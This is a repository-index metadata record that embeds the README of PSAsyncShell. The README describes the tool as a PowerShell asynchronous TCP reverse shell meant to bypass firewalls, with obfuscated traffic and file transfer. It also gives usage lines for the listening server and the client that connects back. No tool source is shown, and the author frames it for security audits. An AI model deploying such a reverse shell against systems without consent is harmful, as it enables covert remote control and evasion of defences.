{"id":20838317,"url":"https://github.com/joelgmsec/psasyncshell","last_synced_at":"2025-05-08T20:35:58.860Z","repository":{"id":49344322,"uuid":"515644982","full_name":"JoelGMSec/PSAsyncShell","owner":"JoelGMSec","description":"PowerShell Asynchronous TCP Reverse Shell","archived":false,"fork":false,"pushed_at":"2023-11-08T12:30:00.000Z","size":485,"stargazers_count":155,"open_issues_count":2,"forks_count":22,"subscribers_count":6,"default_branch":"main","last_synced_at":"2025-03-31T17:59:31.407Z","etag":null,"topics":["asynchronous","evasion","firewall","powershell","reverse","shell","tcp"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/JoelGMSec.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"github":"JoelGMSec","patreon":null,"open_collective":null,"tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"otechie":null,"custom":["https://buymeacoff.ee/JoelGMSec","https://darkbyte.net/shop"]}},"created_at":"2022-07-19T15:38:34.000Z","updated_at":"2025-02-25T02:00:19.000Z","dependencies_parsed_at":"2023-01-23T20:00:22.549Z","dependency_job_id":null,"html_url":"https://github.com/JoelGMSec/PSAsyncShell","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/JoelGMSec%2FPSAsyncShell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/JoelGMSec%2FPSAsyncShell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/JoelGMSec%2FPSAsyncShell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/JoelGMSec%2FPSAsyncShell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/JoelGMSec","download_url":"https://codeload.github.com/JoelGMSec/PSAsyncShell/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253146376,"owners_count":21861386,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["asynchronous","evasion","firewall","powershell","reverse","shell","tcp"],"created_at":"2024-11-18T01:09:55.174Z","updated_at":"2025-05-08T20:35:58.772Z","avatar_url":"https://github.com/JoelGMSec.png","language":"PowerShell","funding_links":["https://github.com/sponsors/JoelGMSec","https://buymeacoff.ee/JoelGMSec","https://darkbyte.net/shop","https://www.buymeacoffee.com/joelgmsec"],"categories":[],"sub_categories":[],"readme":"\u003cp align=\"center\"\u003e\u003cimg width=600 alt=\"PSAsyncShell\" src=\"https://github.com/JoelGMSec/PSAsyncShell/blob/main/PSAsyncShell.png\"\u003e\u003c/p\u003e\n\n# PSAsyncShell\n**PSAsyncShell** is an Asynchronous TCP Reverse Shell written in pure PowerShell. \n\nUnlike other reverse shells, all the communication and execution flow is done asynchronously, allowing to bypass some firewalls and some countermeasures against this kind of remote connections.\n\nAdditionally, this tool features command history, screen wiping, file uploading and downloading, information splitting through chunks and reverse Base64 URL encoded and obfuscated traffic.\n\n\n# Requirements\n- PowerShell 4.0 or greater\n\n\n# Download\nIt is recommended to clone the complete repository or download the zip file.\nYou can do this by running the following command:\n```\ngit clone https://github.com/JoelGMSec/PSAsyncShell\n```\n\n\n# Usage\n```\n.\\PSAsyncShell.ps1 -h\n\n  ____  ____    _                         ____  _          _ _\n |  _ \\/ ___|  / \\   ___ _   _ _ __   ___/ ___|| |__   ___| | |\n | |_) \\___ \\ / _ \\ / __| | | | '_ \\ / __\\___ \\| '_ \\ / _ \\ | |\n |  __/ ___) / ___ \\\\__ \\ |_| | | | | (__ ___) | | | |  __/ | |\n |_|   |____/_/   \\_\\___/\\__, |_| |_|\\___|____/|_| |_|\\___|_|_|\n                         |___/\n\n  ---------------------- by @JoelGMSec -----------------------\n\n Info:  This tool helps you to get a remote shell\n        over asynchronous TCP to bypass firewalls\n\n Usage: .\\PSAsyncShell.ps1 -s -p listen_port\n          Listen for a new connection from the client\n\n        .\\PSAsyncShell.ps1 -c server_ip server_port\n          Connect the client to a PSAsyncShell server\n\n Warning: All data will be sent unencrypted\n          Upload function doesn't use MultiPart\n\n```\n\n### The detailed guide of use can be found at the following link:\n\nhttps://darkbyte.net/psasyncshell-bypasseando-firewalls-con-una-shell-tcp-asincrona\n\n\n# License\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\n\n# Credits and Acknowledgments\nThis tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSec\n\n\n# Contact\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as [@JoelGMSec](https://twitter.com/JoelGMSec) and on my blog [darkbyte.net](https://darkbyte.net).\n\n\n# Support\nYou can support my work buying me a coffee:\n\n[\u003cimg width=250 alt=\"buymeacoffe\" src=\"https://cdn.buymeacoffee.com/buttons/v2/default-blue.png\"\u003e](https://www.buymeacoffee.com/joelgmsec)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjoelgmsec%2Fpsasyncshell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fjoelgmsec%2Fpsasyncshell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjoelgmsec%2Fpsasyncshell/lists"}